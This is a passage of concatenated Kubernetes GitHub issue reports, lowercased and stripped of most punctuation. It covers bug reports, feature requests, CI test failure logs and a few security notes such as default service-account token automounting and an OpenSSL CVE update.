kind:\ joinconfiguration\ }: error unmarshaling json: while decoding json: json: unknown field \ metadata\ \r  config  warning: ignored yaml document with groupversionkind kubeadm.k8s.io/v1beta1, kind=joinconfiguration\r w0531 07:30:26.782447 621 strict.go:54  error unmarshaling configuration schema.groupversionkind{group:\ kubelet.config.k8s.io\ , version:\ v1beta1\ , kind:\ kubeletconfiguration\ }: error unmarshaling json: while decoding json: json: unknown field \ metadata\ \r    \r \r /cc @kubernetes/sig-cluster-lifecycle \r /  test\r /milestones v1.15\r /cc @jimangel @smourapina @rarchk @alenkacz

currently, in order to create an rc, the user has to put pod specification  pod template  into a replication controller. but it seems natural to be able to create an rc having a pod definition, without having to copy pod specification to the rc. it is especially useful for examples and new users  this feature was suggested by a few of them .  comments from email exchange: - it's not generally possible to go from an existing pod to a pod template, although it may work most of the time.  @lavalamp  -  another user  also strongly recommended this. i think it might not be hard to put enough information into the pod  as annotations, if necessary  so that you can do this.  @davidopp  - we should definitely add something to kubectl to do this.  @brendandburns   i can imagine we can proceed in  at least  two directions. 1. create a podtemplate entity in the api that can be used to create either pods or replication controllers  discussed in  170  2. add new option to  kubectl create rc , to take a pod definition.  option 2 seems to be easier to implement and easier to use. and doesn't pollute the api with new objects.

findnodesthatfit   and prioritizenodes   can be trivially parallelized. this will improve performance.  parallelizing across pods is more complicated and is left for future work.  @kubernetes/sig-scalability

when i run the cmd: kube-proxy --logtostderr=true --v=0 --master=http://master:8080 i0407 17:22:24.978303   17582 server.go:216  using userspace proxier. f0407 17:22:24.978441   17582 server.go:232  unable to create proxier: failed to select a host interface: unable to select an ip.  and i have checked the etcd and flanneld, it seems that they work as expected.   very appreciated if anyone can help.

kubelet has a feature that lets users specify the parent cgroups hierarchy to use for docker containers -  --cgroup-root . this flag is currently defaulted to \ \ , which means that the runtime can choose to parent the containers under any cgroup of their choice.  27204 is adding support for pod level cgroups and improving quality of service. kubelet will be managing cgroups as part of this feature. kubelet requires runtimes to instruct pods to be nested under a specified cgroups hierarchy. since cgroups naming format is not compatible between cgroups and systemd, this makes implementing  27204 harder.  between kubelet and docker, there are four possible operating modes wrt. cgroups: - kubelet can use cgroupfs or systemd for managing cgroups - docker can use cgroupfs or systemd for managing cgroups  for a simple ux, we want kubelet to support all its features irrespective of how docker is configured. the default kubelet configuration should _just_ work with all supported configurations. - to achieve that simple ux, we need kubelet to understand the cgroups driver that it has to use and that docker is using.  - there is an existing proposal to add  --cgroups-driver  flag to kubelet to instruct kubelet to use cgroupfs or systemd. it is not clear what a sane default would be for this flag since recent versions of systemd prevent other processes from writing to cgroups. - kubelet and docker will have to use the same cgroups driver. - as of docker versions >= v1.11, it is possible to introspect the cgroups driver that docker is using. on versions prior to that, how can kubelet detect the cgroups driver that docker is using?   - one option is to use  --cgroup-driver  flag if it is not possible to infer the driver from docker. given that the default docker configuration is to use  cgroupfs , kubelet should also default to  cgroupfs . if kubelet is asked to use systemd, then docker should also be configured to use systemd.   - another option is to declare that systemd cgroups driver is not supported for docker versions <= v1.10.x  the main reason for filing this issue is that  27204 requires kubelet to choose a default value for  --cgroup-root . what default value should kubelet choose?   since  27204 is an opt-in feature, it is possible to require the user to specify a valid option for  --cgroup-root , whenever they enable qos cgroups.   to make this feature opt-out in the future, kubelet will have to choose a sane default though. to keep the ux simple, kubelet will have to ensure that its configuration matches that of docker.  we can either have the user specify the cgroups driver to use or let kubelet auto-detect it. i prefer the latter because it leads to one-less knob that the user has to understand.  the first milestone for  27204 does not involve supporting systemd. our node e2e test framework does not support a heterogeneous testing environment. since  27204 is the first feature that manages cgroups for docker containers, it is necessary to keep the node e2e testing environment homogeneous.   as of now, excepting coreos, all other distros are using the cgroups driver with docker. to make progress on  27204, it is necessary to make the coreos image not use systemd. once configmaps support lands in kubelet  27980, it will be possible to support systemd cgroups driver for specific test images. cc @euank   cc @derekwaynecarr @dchen1107 @dubstack   action items: -  x  convert coreos node e2e image to not use systemd -     identify how to support docker versions <= v1.10.x  one option is to require the users to setup kubelet appropriately  -     identify defaults for  --cgroup-root  flag for cgroupfs and systemd

we don't currently support creating external udp load balancers.  we should.

garbage collector changes the objects in local cache: https://github.com/kubernetes/kubernetes/blob/v1.6.0-beta.4/pkg/controller/garbagecollector/graph_builder.go l115\r \r this is discouraged. it's probably ok for now, because the garbage collector doesn't share the cache with other controllers. we need to revisit this when the garbage collector starts to use the shared cache.\r \r cc @lavalamp \r \r <!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it    as minimally and precisely as possible :\r \r   anything else do we need to know  :\r

i am trying to set up efk  elasticsearch, fluentd, kibana  on kubernetes cluster:\r 1. k8s cluster contains two minions  1.2.4  and one master  1.2.0 .\r 2. nodes of the cluster are 3 centos 7 vms.\r  \r so i used the following controller and service yaml files:\r \r   fluentd-es.yaml  \r \r https://github.com/kubernetes/kubernetes/blob/release-1.2/cluster/saltbase/salt/fluentd-es/fluentd-es.yaml\r \r   es-controller.yaml, es-service.yaml, kibana-controller.yaml and kibana-service.yaml  \r \r https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/fluentd-elasticsearch\r \r after running them, i had the following log output and kibana dashboard was unable to show me logs and charts  keep loading for ever like next image .\r ! screenshot 155  https://cloud.githubusercontent.com/assets/5040743/21538174/3b442a22-cdab-11e6-877b-2877e1a5278e.png .\r \r \r   fluentd log snapshot:  \r ! screenshot 156  https://cloud.githubusercontent.com/assets/5040743/21538202/774f6ab8-cdab-11e6-9b24-0b8c6afa6925.png \r \r ! screenshot 157  https://cloud.githubusercontent.com/assets/5040743/21538213/942e113e-cdab-11e6-9728-46a2b84df87a.png \r \r   elasticsearch log snapshot:  \r \r ! screenshot 158  https://cloud.githubusercontent.com/assets/5040743/21538221/a942d262-cdab-11e6-852a-ed535cefeb7f.png \r \r   kibana log snapshot:  \r \r ! screenshot 159  https://cloud.githubusercontent.com/assets/5040743/21538226/b7370d34-cdab-11e6-9003-f8dd5201b06f.png \r \r may someone tell me exactly was is the problem ?\r thanks in advance \r \r \r \r \r

cc @kubernetes/sig-api-machinery-test-failures \r cc @kubernetes/kubernetes-release-managers \r  /king upgrade-test-failure\r \r observed on the upgrade cluster test suite\r \r https://k8s-testgrid.appspot.com/master-upgrade gce-1.7-master-upgrade-cluster-parallel\r \r example failure\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel/568\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/extension/initializers.go:108\r expected error:\r     < errors.statuserror | 0xc4202f7680>: {\r         errstatus: {\r             typemeta: {kind: \ \ , apiversion: \ \ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ },\r             status: \ failure\ ,\r             message: \ pod \\\ uninitialized-pod\\\  is invalid: metadata.initializers.pending 0 .name: invalid value: \\\ test\\\ : a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\\\. a-z0-9   -a-z0-9   a-z0-9  ?  ' \ ,\r             reason: \ invalid\ ,\r             details: {\r                 name: \ uninitialized-pod\ ,\r                 group: \ \ ,\r                 kind: \ pod\ ,\r                 uid: \ \ ,\r                 causes:  \r                     {\r                         type: \ fieldvalueinvalid\ ,\r                         message: \ invalid value: \\\ test\\\ : a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\\\. a-z0-9   -a-z0-9   a-z0-9  ?  ' \ ,\r                         field: \ metadata.initializers.pending 0 .name\ ,\r                     },\r                  ,\r                 retryafterseconds: 0,\r             },\r             code: 422,\r         },\r     }\r     pod \ uninitialized-pod\  is invalid: metadata.initializers.pending 0 .name: invalid value: \ test\ : a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?  ' \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/extension/initializers.go:54\r \t\t\t\t\r

is this a bug report or feature request?  :\r  @kubernetes/sig-scalability-bugs \r / /assign\r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-stable1/210 failed with:\r \r    \r i1120 18:51:35.941   sig-scalability  density\r i1120 18:51:35.941  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/framework.go:22\r i1120 18:51:35.942     feature:performance  should allow starting 30 pods per node using { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons  it \r i1120 18:51:35.942    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/density.go:783\r i1120 18:51:35.942  \r i1120 18:51:35.942    expected error:\r i1120 18:51:35.942        < errors.errorstring | 0xc4202b73d0>: {\r i1120 18:51:35.943            s: \ timed out waiting for the condition\ ,\r i1120 18:51:35.943        }\r i1120 18:51:35.943        timed out waiting for the condition\r i1120 18:51:35.943    not to have occurred\r i1120 18:51:35.944  \r i1120 18:51:35.944    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/density.go:777\r    \r \r a little earlier, the logs read:\r \r    \r i1120 18:35:08.082  step: scheduling additional pods to measure startup latencies\r i1120 18:35:13.231  nov 20 18:35:13.231: info: found pod 'density-latency-pod-1' running\r  ... \r i1120 18:35:39.766  nov 20 18:35:39.172: info: found pod 'density-latency-pod-100' running\r i1120 18:36:07.884  step: waiting for all pods begin observed by the watch...\r i1120 18:36:10.178  nov 20 18:35:39.172: info: 2 latency pods scheduled on e2e-scalability-1-6-minion-group-qxqh\r i1120 18:36:53.727  error dialing prow@35.196.238.140:22: 'ssh: handshake failed: read tcp 10.60.162.41:54680->35.196.238.140:22: i/o timeout', retrying\r i1120 18:37:07.096  nov 20 18:37:04.576: info: 10% worst schedule latencies:  {density-latency-pod-62-nqzf6 e2e-scalability-1-6-minion-group-jpx3 0s} {density-latency-pod-66-c9w84 e2e-scalability-1-6-minion-group-5z1n 0s} {density-latency-pod-63-xvrdc e2e-scalability-1-6-minion-group-6g24 0s} {density-latency-pod-91-xnzdt e2e-scalability-1-6-minion-group-xf7k 0s} {density-latency-pod-13-wskj8 e2e-scalability-1-6-minion-group-8d0x 0s} {density-latency-pod-32-c7pv6 e2e-scalability-1-6-minion-group-9snm 0s} {density-latency-pod-44-jh2rc e2e-scalability-1-6-minion-group-xlkv 0s} {density-latency-pod-57-jdxhz e2e-scalability-1-6-minion-group-v449 0s} {density-latency-pod-94-77cl2 e2e-scalability-1-6-minion-group-wmg0 0s} {density-latency-pod-100-j7njs e2e-scalability-1-6-minion-group-sv0q 0s} \r i1120 18:37:07.528  nov 20 18:37:04.576: info: perc50: 0s, perc90: 0s, perc99: 0s\r i1120 18:37:07.666  nov 20 18:37:04.576: info: 10% worst run-after-schedule latencies:  {density-latency-pod-62-nqzf6 e2e-scalability-1-6-minion-group-jpx3 1s} {density-latency-pod-66-c9w84 e2e-scalability-1-6-minion-group-5z1n 1s} {density-latency-pod-63-xvrdc e2e-scalability-1-6-minion-group-6g24 1s} {density-latency-pod-91-xnzdt e2e-scalability-1-6-minion-group-xf7k 1s} {density-latency-pod-13-wskj8 e2e-scalability-1-6-minion-group-8d0x 1s} {density-latency-pod-32-c7pv6 e2e-scalability-1-6-minion-group-9snm 1s} {density-latency-pod-44-jh2rc e2e-scalability-1-6-minion-group-xlkv 1s} {density-latency-pod-57-jdxhz e2e-scalability-1-6-minion-group-v449 1s} {density-latency-pod-94-77cl2 e2e-scalability-1-6-minion-group-wmg0 1s} {density-latency-pod-100-j7njs e2e-scalability-1-6-minion-group-sv0q 1s} \r i1120 18:37:07.958  nov 20 18:37:04.577: info: perc50: 1s, perc90: 1s, perc99: 1s\r i1120 18:37:08.229  nov 20 18:37:04.577: info: 10% worst watch latencies:  {density-latency-pod-9-5m7xz e2e-scalability-1-6-minion-group-j4c7 1.755172589s} {density-latency-pod-84-w657q e2e-scalability-1-6-minion-group-017z 1.8380606s} {density-latency-pod-8-zrjmj e2e-scalability-1-6-minion-group-hrxk 1.838067735s} {density-latency-pod-56-bqc6k e2e-scalability-1-6-minion-group-kbc8 1.845675087s} {density-latency-pod-37-klfbp e2e-scalability-1-6-minion-group-qdsd 1.846620818s} {density-latency-pod-94-77cl2 e2e-scalability-1-6-minion-group-wmg0 1.961543168s} {density-latency-pod-93-dgxpm e2e-scalability-1-6-minion-group-s4c1 1.961553187s} {density-latency-pod-75-l5s27 e2e-scalability-1-6-minion-group-sgfp 2.110547217s} {density-latency-pod-95-hgzx5 e2e-scalability-1-6-minion-group-rrm1 2.633364677s} {density-latency-pod-92-zdz77 e2e-scalability-1-6-minion-group-vxlb 2.961550491s} \r i1120 18:37:08.428  nov 20 18:37:04.577: info: perc50: 1.104970952s, perc90: 1.737680884s, perc99: 2.633364677s\r i1120 18:37:08.840  nov 20 18:37:04.577: info: 10% worst scheduled-to-end total latencies:  {density-latency-pod-86-p2rhc e2e-scalability-1-6-minion-group-2spc 2.641154569s} {density-latency-pod-55-mdvdf e2e-scalability-1-6-minion-group-x42j 2.652542108s} {density-latency-pod-67-gnfbd e2e-scalability-1-6-minion-group-x204 2.719568423s} {density-latency-pod-43-bsbls e2e-scalability-1-6-minion-group-zfx4 2.719678338s} {density-latency-pod-48-fhs6x e2e-scalability-1-6-minion-group-mdc1 2.730745699s} {density-latency-pod-8-zrjmj e2e-scalability-1-6-minion-group-hrxk 2.838067735s} {density-latency-pod-94-77cl2 e2e-scalability-1-6-minion-group-wmg0 2.961543168s} {density-latency-pod-92-zdz77 e2e-scalability-1-6-minion-group-vxlb 2.961550491s} {density-latency-pod-93-dgxpm e2e-scalability-1-6-minion-group-s4c1 2.961553187s} {density-latency-pod-95-hgzx5 e2e-scalability-1-6-minion-group-rrm1 3.633364677s} \r i1120 18:37:08.996  nov 20 18:37:04.577: info: perc50: 1.890265159s, perc90: 2.633388881s, perc99: 2.961553187s\r i1120 18:37:09.170  nov 20 18:37:04.577: info: 10% worst e2e total latencies:  {density-latency-pod-86-p2rhc e2e-scalability-1-6-minion-group-2spc 2.641154569s} {density-latency-pod-55-mdvdf e2e-scalability-1-6-minion-group-x42j 2.652542108s} {density-latency-pod-67-gnfbd e2e-scalability-1-6-minion-group-x204 2.719568423s} {density-latency-pod-43-bsbls e2e-scalability-1-6-minion-group-zfx4 2.719678338s} {density-latency-pod-48-fhs6x e2e-scalability-1-6-minion-group-mdc1 2.730745699s} {density-latency-pod-8-zrjmj e2e-scalability-1-6-minion-group-hrxk 2.838067735s} {density-latency-pod-94-77cl2 e2e-scalability-1-6-minion-group-wmg0 2.961543168s} {density-latency-pod-92-zdz77 e2e-scalability-1-6-minion-group-vxlb 2.961550491s} {density-latency-pod-93-dgxpm e2e-scalability-1-6-minion-group-s4c1 2.961553187s} {density-latency-pod-95-hgzx5 e2e-scalability-1-6-minion-group-rrm1 3.633364677s} \r i1120 18:37:09.595  nov 20 18:37:04.577: info: perc50: 1.890265159s, perc90: 2.633388881s, perc99: 2.961553187s\r i1120 18:37:09.703  nov 20 18:37:04.577: info: approx throughput: 1651.3619009898246 pods/min\r i1120 18:37:09.931  step: removing additional replication controllers\r i1120 18:37:10.139  step: deleting { replicationcontroller} density-latency-pod-1 in namespace e2e-tests-density-30-1-2jts7, will wait for the garbage collector to delete the pods\r  ... \r i1120 18:37:25.349  step: deleting { replicationcontroller} density-latency-pod-25 in namespace e2e-tests-density-30-1-2jts7, will wait for the garbage collector to delete the pods\r i1120 18:37:28.821  nov 20 18:37:25.285: info: error while trying to ssh to 104.196.71.126:22, skipping probe. error: error creating session to prow@104.196.71.126:22: 'read tcp 10.60.162.41:36592->104.196.71.126:22: i/o timeout'\r i1120 18:37:56.998  error dialing prow@35.196.146.229:22: 'ssh: handshake failed: read tcp 10.60.162.41:52670->35.196.146.229:22: i/o timeout', retrying\r i1120 18:38:03.493  error dialing prow@35.196.134.58:22: 'ssh: handshake failed: read tcp 10.60.162.41:56588->35.196.134.58:22: i/o timeout', retrying\r i1120 18:38:10.249  error dialing prow@35.196.152.43:22: 'ssh: handshake failed: read tcp 10.60.162.41:50130->35.196.152.43:22: i/o timeout', retrying\r i1120 18:38:31.730  error dialing prow@35.196.10.128:22: 'ssh: handshake failed: read tcp 10.60.162.41:42388->35.196.10.128:22: i/o timeout', retrying\r i1120 18:38:48.126  nov 20 18:38:47.768: info: error while trying to ssh to 35.196.134.58:22, skipping probe. error: error getting ssh client to prow@35.196.134.58:22: 'ssh: handshake failed: read tcp 10.60.162.41:56716->35.196.134.58:22: i/o timeout'\r i1120 18:38:50.602  nov 20 18:38:50.597: info: error while trying to ssh to 35.196.146.229:22, skipping probe. error: error getting ssh client to prow@35.196.146.229:22: 'ssh: handshake failed: read tcp 10.60.162.41:52798->35.196.146.229:22: i/o timeout'\r i1120 18:39:18.638  error dialing prow@104.196.188.66:22: 'ssh: handshake failed: read tcp 10.60.162.41:48272->104.196.188.66:22: i/o timeout', retrying\r i1120 18:39:25.394  nov 20 18:39:25.342: info: error while trying to ssh to 35.196.152.43:22, skipping probe. error: error getting ssh client to prow@35.196.152.43:22: 'ssh: handshake failed: read tcp 10.60.162.41:50242->35.196.152.43:22: i/o timeout'\r i1120 18:39:41.821  nov 20 18:39:41.706: info: error while trying to ssh to 35.196.10.128:22, skipping probe. error: error getting ssh client to prow@35.196.10.128:22: 'ssh: handshake failed: read tcp 10.60.162.41:42518->35.196.10.128:22: i/o timeout'\r i1120 18:40:19.282  error dialing prow@35.196.199.87:22: 'ssh: handshake failed: read tcp 10.60.162.41:33490->35.196.199.87:22: i/o timeout', retrying\r i1120 18:40:19.886  error dialing prow@104.196.216.172:22: 'ssh: handshake failed: read tcp 10.60.162.41:39284->104.196.216.172:22: i/o timeout', retrying\r i1120 18:40:31.097  nov 20 18:40:30.896: info: error while trying to ssh to 104.196.188.66:22, skipping probe. error: error getting ssh client to prow@104.196.188.66:22: 'ssh: handshake failed: read tcp 10.60.162.41:48440->104.196.188.66:22: i/o timeout'\r i1120 18:40:41.794  error dialing prow@35.196.174.144:22: 'ssh: handshake failed: read tcp 10.60.162.41:52262->35.196.174.144:22: i/o timeout', retrying\r i1120 18:43:04.790  nov 20 18:42:58.627: info: unexpected error occurred: timed out waiting for the condition\r i1120 18:43:09.789  nov 20 18:42:58.627: info: unexpected error occurred: timed out waiting for the condition\r i1120 18:43:11.040  step: deleting { replicationcontroller} density-latency-pod-26 in namespace e2e-tests-density-30-1-2jts7, will wait for the garbage collector to delete the pods\r  ... \r i1120 18:45:06.875  nov 20 18:45:06.875: info: terminating { replicationcontroller} density-latency-pod-99 pods took: 103.922056ms\r i1120 18:45:06.876  nov 20 18:45:06.876: info: terminating { replicationcontroller} density-latency-pod-100 pods took: 102.482037ms\r i1120 18:45:18.075  step: deleting created collections\r i1120 18:45:18.075  step: cleaning up only the { replicationcontroller}, garbage collector will clean up the pods\r i1120 18:45:18.076  step: deleting { replicationcontroller} density3000-0-2e4a4c8c-ce20-11e7-931f-0a580a3ca229 in namespace e2e-tests-density-30-1-2jts7, will wait for the garbage collector to delete the pods\r i1120 18:45:19.356  nov 20 18:45:19.356: info: deleting { replicationcontroller} density3000-0-2e4a4c8c-ce20-11e7-931f-0a580a3ca229 took: 40.281025ms\r i1120 18:49:07.842  w1120 18:49:07.842619    5000 reflector.go:334  k8s.io/kubernetes/test/utils/pod_store.go:53: watch of  v1.pod ended with: too old resource version: 75796  87313 \r i1120 18:49:35.783  w1120 18:49:35.783341    5000 reflector.go:334  k8s.io/kubernetes/test/utils/pod_store.go:53: watch of  v1.pod ended with: too old resource version: 75796  88754 \r i1120 18:49:38.395  w1120 18:49:38.395045    5000 reflector.go:334  k8s.io/kubernetes/test/utils/pod_store.go:53: watch of  v1.pod ended with: too old resource version: 75796  88957 \r i1120 18:49:48.550  w1120 18:49:48.549348    5000 reflector.go:334  k8s.io/kubernetes/test/utils/pod_store.go:53: watch of  v1.pod ended with: too old resource version: 75796  89485 \r i1120 18:49:57.774  w1120 18:49:57.774640    5000 reflector.go:334  k8s.io/kubernetes/test/utils/pod_store.go:53: watch of  v1.pod ended with: too old resource version: 75796  89983 \r i1120 18:50:19.357  nov 20 18:50:19.357: info: terminating { replicationcontroller} density3000-0-2e4a4c8c-ce20-11e7-931f-0a580a3ca229 pods took: 5m0.00090081s\r i1120 18:50:41.768  w1120 18:50:41.768353    5000 reflector.go:334  k8s.io/kubernetes/test/utils/pod_store.go:53: watch of  v1.pod ended with: too old resource version: 75796  91177 \r i1120 18:50:43.527   aftereach   sig-scalability  density\r i1120 18:50:43.527    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/density.go:357\r i1120 18:50:43.529   aftereach   sig-scalability  density\r i1120 18:50:43.529    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:135\r i1120 18:50:43.530  step: collecting events from namespace \ e2e-tests-density-vr5m7\ .\r i1120 18:50:43.569  step: found 0 events.\r \r    \r \r umbrella bug:  56062

>  \r   what happened  :\r \r kube  automounts  https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/  default service account credentials, which allows any compromised pod to run api commands against the cluster. this seems like a very odd choice from a security standpoint - i only just discovered this was the case after a couple years of running a kube cluster in production.\r \r   what you expected to happen  :\r \r pods not having cluster-modifying power by default.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run a default kube cluster and pod.\r \r   anything else we need to know?  :\r \r n/a\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.4-gke.1\ , gitcommit:\ 04502ae78d522a3d410de3710e1550cfb16dad4a\ , gittreestate:\ clean\ , builddate:\ 2017-12-08t17:24:53z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: gke\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r there i have an machine with gpu card. and i use kubectl + yaml file to start a container based on tensorflow image without applying any gpu resource. bug when i login this container, then use the below python script to run my tensorflow code. it is strange that the console can print the gpu info.\r that means the container rally have one gpu resource.\r \r    \r   import tensorflow as tf\r   session = tf.session  \r    \r \r but in my yaml config file. i did not apply for any gpu resource.  the  request  and  limit  attribute's value have no gpu info.\r \r   what you expected to happen  :\r i want the container don't use gpu to train my tensorflow task. in other words, i  want the container have no gpu card. but in fact it rally have one. \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1、build a tensorflow-gpu image or download the official image with jupyter.\r 2、write an yaml file don't apply for any gpu resource\r 3、make sure the container can running on the machine that has one or more gpu card.\r \r   anything else we need to know?  :\r i read about the k8s doc  https://kubernetes.io/docs/tasks/manage-gpus/scheduling-gpus/  https://kubernetes.io/docs/tasks/manage-gpus/scheduling-gpus/ , but i have no idea about this issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.3\r - cloud provider or hardware configuration: standard configuration\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : linux 3.10.0 x86_64\r - install tools: on manual\r - others: gpu info k40.\r \r any idea for this strange problem？ thanks a lot

openssl security advisory details\r \r external disclosures\r \r cve-2017-3736\r cve-2017-3738\r external disclosure url specified below\r https://www.openssl.org/news/secadv/20171102.txt\r \r \r \r current hyperkube image includes openssl 1.1.0f version, it need update to openssl_1.1.0f-3+deb9u2 version which has included cve-2017-3736, cve-2017-3738 fix.  https://release.debian.org/proposed-updates/stable_diffs/openssl_1.1.0f-3+deb9u2.debdiff.gz

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  :\r i have a daemonsets with 250 replicas and maxunavailable is 20%. when i try to update its image, the ds will scale down 50 old replicas and wait for satisfiedexpectations, after that it will scale up 50 new replicas. but if a pod delete failed  node is notready, and pod stuck at terminating status , ds controller will never reach the expectation and just stuck here.\r   what you expected to happen  :\r when a pod stuck at terminating, ds controller should start new pods like deployment controller, instead of waiting for the delete batch finish and ready for next poll.\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.1-8+fca89bca262f6d\ , gitcommit:\ fca89bca262f6de6f8fcc5942f28b30bcf29edad\ , gittreestate:\ clean\ , builddate:\ 2017-10-25t13:04:04z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r installed kubctl-cli throgh brew. at the time on my pc kubectl version version was 1.11.0 and the server was 1.9.3.\r while i was working on my cluster i tried to delete a pod named x, the command got stuck so i had to stop it  ctrl+c  and pod x got stuck in a termination state. \r i tried to ssh into the hosted node and manually delete the pod but no success, also tried th delete the pod with --force and/--period 0/--now.\r is there a way i can remove the pod?\r \r   what you expected to happen  :\r pod x was deleted successfully from the cluster\r \r   how to reproduce it  as minimally and precisely as possible   :\r install kubctl-cli  version 1.11.0 on server 1.9.3.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r aws using kops\r - kernel  e.g.  uname -a  :\r darwin h-macbook-pro-sl-ido.local 17.6.0 darwin kernel version 17.6.0: tue may  8 15:22:16 pdt 2018; root:xnu-4570.61.1~1/release_x86_64 x86_64\r \r    \r

the column output for  deployments ,  statefulsets , and  daemonsets  are not as helpful as the human-readable output for pods  for example .\r \r we need to reduce the number of columns that we use to inform about the current amount of replicas  for example  that are desired and have been fulfilled for these resources, and add a new column or two that give the user more information about the current state of a deployment or statefulset, and the reason behind that state.\r \r for example:\r \r   before  \r    \r name            desired   current   up-to-date   available   age\r deployment1     1         1         1            0           4s\r    \r \r   after  \r    \r name            ready   status             up-to-date   available  restarts   age\r deployment1     1/1     crashloopbackoff   1            0          2          4s \r    \r \r what is expected:\r \r improve the human-readable output in  kubectl get  for the following resources:\r \r - daemonsets\r - statefulsets\r - deployments\r \r cc @soltysh @smarterclayton \r

what would you like to be added  :\r apiserver-advertise-address to allow cnames instead of just ipv4 or ipv6 addresses.\r \r   why is this needed  :\r makes the system more resilient in situations where the ip may change.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r when referencing init container's env value from its fields, kubelet complains  \ error: container <initcontainernmae> not found\  \r \r   what you expected to happen  :\r init container should be supported to get env values from its own fields, as  it is designed  https://kubernetes.io/docs/concepts/workloads/pods/init-containers/ differences-from-regular-containers  to \r \r > ... support all the fields and features of app containers ...\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a pod with init container refering its fields value as env value \r kubectl create -f test-pod-1.yaml\r    \r   file test-pod-1.yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: test-pod-1\r spec:\r   containers:\r   - args:\r     - sh\r     - -c\r     - sleep 10000000001\r     image: busybox\r     name: weblogic-ms\r   initcontainers:\r   - args:\r     - sh\r     - -c\r     - sleep 10000000001\r     env:\r     - name: tos_cpu_request\r       valuefrom:\r         resourcefieldref:\r           containername: volumeinit\r           divisor: \ 0\ \r           resource: requests.cpu\r     image: busybox\r     name: volumeinit\r     resources:\r       limits:\r         cpu: \ 1\ \r         memory: 2gi\r       requests:\r         cpu: 500m\r         memory: 1gi\r    \r 2. pod cannot be created \r    \r $ kubectl get pod test-pod-1 \r name         ready   status                            restarts   age\r test-pod-1   0/1     init:createcontainerconfigerror   0          93s\r    \r 3. check pod events \r    \r $ kubectl describe pod test-pod-1 | grep event -a 10 \r events:\r   type     